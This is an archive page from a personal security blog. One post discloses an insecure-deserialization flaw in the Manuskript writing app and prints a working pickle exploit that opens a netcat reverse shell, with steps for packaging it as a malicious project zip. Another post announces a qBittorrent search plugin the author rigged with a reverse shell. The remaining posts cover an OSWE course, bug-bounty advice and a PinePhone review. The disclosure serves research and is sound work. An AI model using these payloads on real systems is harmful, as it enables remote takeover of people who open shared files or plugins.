Category Archives: blog

Malicious qBittorrent Search Plugin: Feature or Bug?

TLDR: Read the code before you install random qbittorent plug-ins.

qBittorrent has a feature that allows you to install a search plugin to search for torrents on your favorite sites. These plugins are written in Python, and although I haven’t reviewed the qBittorrent source code, it appears as if you can simply execute arbitrary code via these plugins. qBittorrent does not seem to do any sort of sanitization.

I added a reverse shell class to an already existing search plugin. The shell should work on Windows and Linux. Although, qBittorrent seems to have some issues with what version of Python you are using. Nevertheless, be aware that unsanitized code can be ran via the search plugin feature.

Here is a link to the malicious qBittorrent search plugin.

Arbitrary Code Execution in Manuskript < 0.12

Edit: A pull request has been submitted to remove this functionality and to depricate the old pickled settings, which is a wise security decision.

Edit: This vulnerability has been assigned CVE-2021-35196. It’s currently listed as disputed, even though it is definitely a vulnerability.

I was searching for an alternative to Scrivener to write my future nobel prize winning novel and ran across Manuskript. It looked promising. I found out that it was open-source and on github – which is always cool.

I decided to clone it and take a look at it. It’s written in Python, so that is good for me. It’s probably the language I’m most comfortable in these days.

I started checking out the code and I immediately noticed that pickle was imported in settings.py. The first thing that should come to mind to any security researcher worth their salt is insecure deserialization via the pickle.loads() and pickle.load() functions.

Sure enough, in settings.py, I noticed on lines 190 and 191, it looks like the program’s settings are loaded via pickle.loads() and pickle.load(), respectively. Now, I just had to figure out how to get to that point in the code.

It turns out that this wasn’t overly tough and it would simply involve loading a project that contains a malicious settings.pickle file. In loadSave.py, the function loadProject() on line 30 is responsible for doing exactly what you think it is supposed to do. You will notice in this function that it checks to see if the project is a zip file, but the project does not have to be a zip file.

I used a zip file in my exploit because that would probably be what is used in a realistic exploitation scenario. e.g. I send a malicious project to a co-writer, editor, publisher, etc. or I post a sample project of some sort online for others to use.

After the function determines if the project is a zip file or not, it checks the version of the project. This is where you need to do a small amount of work to exploit the insecure deserialization. It turns out that Manuskript has two versions of settings, version 0 and version 1. Version 0 is the one that uses the pickle module to deserialize the settings.

In order to force the program into the insecure deserialization, we just have to have a zip file without a MANUSKRIPT text file or a VERSION text file in the project and the project number will default to 0, which is what we want.

Now, onto the exploit. There are many references to insecure deserialization online, so google them if you aren’t familiar, but here is the code I used on Ubuntu 20.04 to generate a reverse shell to localhost port 1234. This payload can easily be modified to do anything you want it to do on Linux, Mac, and/or Windows. When this code is ran, it outputs a malicious settings.pickle file, which we will include in the project.

#!/usr/bin/env python3

import pickle
import os


class EvilPickle(object):
    def __reduce__(self):
       	cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f')
        return os.system, (cmd,)


pickle_data = pickle.dumps(EvilPickle())
with open("settings.pickle", "wb") as file:
    file.write(pickle_data)

After the settings.pickle file is output, simply zip it up:

zip malicious-project.zip settings.pickle

And now you have a malicious-project.zip file that you simply load into Manuskript.

I notified the people involved and they don’t have intentions to fix this issue. They are currently refactoring the project and the deserialization code may be removed altogether.

Offensive Security AWAE/OSWE

I recently was enrolled in the Offensive Security Advanced Web Attacks and Exploits course. This is the newer version of the course, and it leads to the Offensive Security Web Expert Certification. Well, you’ll get the cert after you pass a 48 hour hands-on exam and write a report of your findings. Fun.

First off, I have bug bounty hunting/web app testing experience, so some of the material in the course is not new to me. With that said, the material is presented well, and I enjoyed being able to see somebody else’s methodology of going from initial exploit to full-blown remote code execution. And I definitely still learned a lot along the way.

I’m a mostly self-taught hacker, as are a lot of people in the field. Unfortunately, I find that when I learn on my own, I miss some things along the way. Usually it’s just little time-saving tricks or different ways of doing things, but sometimes I miss things that may cost me money in the bug hunting world. So, I like to supplement the self-learning with some courses occasionally.

If you’re reading this, you probably know how the labs are set up. You get access to 12 boxes running vulnerable software. You exploit them from initial exploit to RCE. The course manual and videos walk you through it, and then they give you “extra miles” to complete, if you’re inclined. The course manual and videos are well put together and explain all the exploits thoroughly.

Should you purchase this course? That depends. I think if you’re already established in the field and making some money bug hunting, you can probably pass it over. If you’re looking to make a transition into web-app pentesting from dev work, it would be a good choice for you. If you’re looking to challenge yourself, go for it. If you’re looking to bolster the resume, go for it.

What do you need to know to complete the course? Well, my skills in C# and Java are a little lacking, so those parts were the most challenging for me, but they were also the parts where I learned the most. I’ve seen some people recommend having an OSCP cert before starting the AWAE, but I don’t think that’s necessary. They are different beasts, and while there is some overlap, it isn’t much. I’d say having a thorough understand of Python (requests package and sessions), and Linux is much more helpful than having an OSCP. The course touches PHP, Node, regular Javascript, Python, C#, and Java (am I forgetting anything?), so if you are lacking experience in any of those, I’d recommend familiarizing yourself with them before you start the course.

So you wanna bug hunt?

> All the Rage:

Bug hunting seems to be all the rage these days. I can understand that, hacking is fun. So if you can hack (legally) and get paid, why not? Let me just tell you what you’re getting yourself into.

For one, you probably aren’t going to make much money, and even if you do make some money, you’d have probably made more with a part time job, or doing whatever needs to get done at your day job to move up in the organization and make more money.

Here are a few questions to ask yourself before you bug hunt.

Can you afford $20-$40 a month for a VPS? You’ll be doing A LOT of recon and you don’t want to do it from your home IP address. You’ll get IP bans, and it will really make your household angry if they can’t get on Netflix because you spent all night hammering Akamai or whatever the case may be.

Can you afford a $400 Burp Pro subscription? Yeah, you may be able to get away without it, but IMO it isn’t worth the effort – double so if you do/are planning to work in the security industry.

> Programs:

Now, you see all those programs listed for hacking on HackerOne and and BugCrowd? Well they are all public programs that have had thousands of people picking over their programs for YEARS at this point. That’s not to say some bugs aren’t still there, they are, but they are way, way less in numbers. Not to mention, many of them have had paid pentesters hacking on them. A lot of these programs were private before they went public too, so when you see the “launched” time, it actually isn’t true – the program didn’t just launch this month.

And don’t get me started on the unpaid bounty programs. They basically are getting all this work done without having to pay anybody. But hey, you’ll get points for hacking them!!!!! Oh wow, great. Unpaid programs should not exist. It lessens the value of our work.

Let me tell you a story of me and an unpaid program. About a year ago, I got invited to this program, and I immediately realized the scope was very large – which is awesome. Within a few days, I had found a bunch of bugs. All of these bugs were medium or higher, and one was EXTREMELY critical. So naturally, I’m happy, and I’m thinking I’m going to make some good money. Wrong. That’s when I found out that this program was unpaid.

I know, I know – it is my fault for not checking first. At the time, I was under the assumption that you had to be a paid program to be a private program. I don’t know where I got that from. My point remains valid. Basically, there is a good chance I saved this company millions of dollars, and without going into details, it could have been worse that just a monetary loss for them. You know what I got in return? Points. Great. Wow.

This actually happened to me again recently. Yes, I’m stupid. But I digress, haha.

> Coding:

I see a lot of posts asking if you need to know how to code to bug hunt. It sounds like a lot of these people are trying to get away without learning how to code. Let me help you.

YOU NEED TO KNOW HOW TO CODE.

You don’t have to be a pro, but you need to be decently fluent in python and bash, and at the very least, be able to read PHP and Javascript. The more experienced you are the better.

You see those people making a lot of money bug hunting? They are probably good coders. They’ve probably automated all their recon with Python or Bash scripts. They can decompile mobile and web apps. They’re pretty good coders, generally.

> Certs:

Let’s talk about the OSCP. Is it a cool cert? Yes. Does it teach you much about bug hunting? Yes and no. You’ll need to add a lot more techniques and tools to your arsenal to be successful. The offsec AWAE does have some topics that are useful to bug hunting – web apps in particular.

Let’s talk about these techniques and tools.

You’ll need to install a lot of tools you’ve never heard of. And listen, everybody has a massive amount of bug hunting scripted. They are constantly scanning ALL the hosts in EVERY program for low hanging fruit. Again, that doesn’t mean you won’t find anything, but it greatly reduces your chances.

You still wanna bug hunt? Go for it. But don’t get discouraged when you’re in the hole $600 bucks and you’ve found two self XSS vulns after a year. Lol

> TLDR:

Don’t bug hunt, and if you do, avoid unpaid programs. Better yet, spend your time advancing your career or getting a part time job. Also, use my Linode link for your VPS πŸ˜‰

I Run Arch on my PinePhone lol

I got a PinePhone the other day, and long story short, I’m pleasantly surprised. It came installed with Manjaro, but it seemed a little buggy, so I flashed the EMMC to Arch.

PROS:

I was surprised at how polished the actual physical hardware seemed. I was expecting something a little more janky, I guess. I do need to order a case because the thing is a little slippery when it your hands. Like I said, I’m currently running Arch on it, strangely enough. Phone calls work, 4G works, SMS works, camera works.

CONS:

I’m having an issue with the WiFi connecting and disconnecting. I’m also having an issue with the OS detecting the convergence dock that came with the phone. Sometimes it connects and recognizes it right away, sometimes it does not. It has something to do with the power supply and/or power settings on the phone, I think. But I haven’t not researched it much yet.

Edit: I modified some power settings and now I have no problems with the wifi at all.

I didn’t expect the thing to be very powerful, and boy is it not. It definitely takes a while to install packages, compile, etc. But I was expecting that for $200 or whatever I paid for it.

OVERALL:

This thing is a must have for Linux people. It’s cheap and it mostly works. I have high hopes for what is to come with this phone. Imagine a stock Linux phone devoid of all the vendor and cell company bloatware. And you can get all of this without a bunch of technical gymnastics. A phone you can plug into a monitor and have a full working OS. I’d say another few years, if not sooner, and that’s what we will have.

Also, I use my phone with Ting in the USA. Use my referral link, if you’re interested. I think it costs me like 12 bucks a month to have this phone on Ting.

Welcome!

If you’ve made it here, you probably know who I am. This page will mostly be used for me to discuss IT/Software Engineering topics, likely with a focus on Cybersecurity.

This site was made with an Ubuntu EC2 instance, WordPress, Apache, and PHP.